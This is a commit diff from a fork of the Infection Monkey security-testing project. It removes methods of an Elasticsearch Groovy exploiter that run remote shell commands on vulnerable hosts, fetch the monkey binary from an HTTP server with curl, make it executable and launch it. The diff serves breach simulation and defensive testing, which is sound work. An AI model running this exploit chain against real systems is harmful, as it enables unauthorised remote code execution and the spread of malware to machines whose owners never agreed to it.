forked from p34709852/monkey
Code cleaned and tested on ubuntu
This commit is contained in:
Vakaris
parent
8ddfb03f27
commit
7e2cc86ab9
|
|
@ -85,159 +85,6 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
return False
|
||||
return result[0]
|
||||
|
||||
def exploit_host_windows(self):
|
||||
"""
|
||||
TODO
|
||||
Will exploit windows similar to smbexec
|
||||
:return:
|
||||
"""
|
||||
return False
|
||||
|
||||
def exploit_host_linux(self):
|
||||
"""
|
||||
Exploits linux using similar flow to sshexec and shellshock.
|
||||
Meaning run remote commands to copy files over HTTP
|
||||
:return:
|
||||
"""
|
||||
uname_machine = str(self.get_linux_arch())
|
||||
if len(uname_machine) != 0:
|
||||
self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
|
||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||
if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
|
||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||
return True # return already infected
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
|
||||
return False
|
||||
|
||||
self.set_file_executable_linux(dropper_target_path_linux)
|
||||
self.run_monkey_linux(dropper_target_path_linux)
|
||||
|
||||
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
|
||||
LOG.info("Log file does not exist, monkey might not have run")
|
||||
|
||||
return True
|
||||
|
||||
def run_monkey_linux(self, dropper_target_path_linux):
|
||||
"""
|
||||
Runs the monkey
|
||||
"""
|
||||
|
||||
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, location=dropper_target_path_linux)
|
||||
cmdline += ' & '
|
||||
self.run_shell_command(cmdline)
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux, self.host, cmdline)
|
||||
if not (self.check_if_remote_file_exists_linux(self._config.dropper_log_path_linux)):
|
||||
LOG.info("Log file does not exist, monkey might not have run")
|
||||
|
||||
def download_file_in_linux(self, src_path, target_path):
|
||||
"""
|
||||
Downloads a file in target machine using curl to the given target path
|
||||
:param src_path: File path relative to the monkey
|
||||
:param target_path: Target path in linux victim
|
||||
:return: T/F
|
||||
"""
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
|
||||
return False
|
||||
download_command = '/usr/bin/curl %s -o %s' % (
|
||||
http_path, target_path)
|
||||
self.run_shell_command(download_command)
|
||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
if (http_thread.downloads != 1) or (
|
||||
'ELF' not in
|
||||
self.check_if_remote_file_exists_linux(target_path)):
|
||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||
return False
|
||||
return True
|
||||
|
||||
def set_file_executable_linux(self, file_path):
|
||||
"""
|
||||
Marks the given file as executable using chmod
|
||||
:return: Nothing
|
||||
"""
|
||||
chmod = '/bin/chmod +x %s' % file_path
|
||||
self.run_shell_command(chmod)
|
||||
LOG.info("Marked file %s on host %s as executable", file_path, self.host)
|
||||
|
||||
def check_if_remote_file_exists_linux(self, file_path):
|
||||
"""
|
||||
:return:
|
||||
"""
|
||||
cmdline = '/usr/bin/head -c 4 %s' % file_path
|
||||
return self.run_shell_command(cmdline)
|
||||
|
||||
def run_shell_command(self, command):
|
||||
"""
|
||||
Runs a single shell command and returns the result.
|
||||
"""
|
||||
payload = self.JAVA_CMD % command
|
||||
result = self.get_command_result(payload)
|
||||
LOG.info("Ran the command %s on host %s", command, self.host)
|
||||
return result
|
||||
|
||||
def get_linux_arch(self):
|
||||
"""
|
||||
Returns host as per uname -m
|
||||
"""
|
||||
return self.get_command_result(self.JAVA_GET_BIT_LINUX)
|
||||
|
||||
def get_host_tempdir(self):
|
||||
"""
|
||||
Returns where to write our file given our permissions
|
||||
:return: Temp directory path in target host
|
||||
"""
|
||||
return self.get_command_result(self.JAVA_GET_TMP_DIR)
|
||||
|
||||
def get_host_os(self):
|
||||
"""
|
||||
:return: target OS
|
||||
"""
|
||||
return self.get_command_result(self.JAVA_GET_OS)
|
||||
|
||||
def is_vulnerable(self):
|
||||
"""
|
||||
Checks if a given elasticsearch host is vulnerable to the groovy attack
|
||||
:return: True/False
|
||||
"""
|
||||
result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
|
||||
return 'java.lang.Runtime' in result_text
|
||||
|
||||
def get_command_result(self, payload):
|
||||
"""
|
||||
Gets the result of an attack payload with a single return value.
|
||||
:param payload: Payload that fits the GENERIC_QUERY template.
|
||||
"""
|
||||
result = self.attack_query(payload)
|
||||
if not result: # not vulnerable
|
||||
return ""
|
||||
return result[0]
|
||||
|
||||
def attack_query(self, payload):
|
||||
"""
|
||||
Wraps the requests query and the JSON parsing.
|
||||
Just reduce opportunity for bugs
|
||||
:return: List of data fields or None
|
||||
"""
|
||||
response = requests.get(self.attack_url(), data=payload)
|
||||
result = self.get_results(response)
|
||||
return result
|
||||
|
||||
def attack_url(self):
|
||||
"""
|
||||
Composes the URL to attack per host IP and port.
|
||||
:return: Elasticsearch vulnerable URL
|
||||
"""
|
||||
return self.BASE_URL % (self.host.ip_addr, ES_PORT)
|
||||
|
||||
def get_results(self, response):
|
||||
"""
|
||||
Extracts the result data from our attack
|
||||
|
|
|
|||
Loading…
Reference in New Issue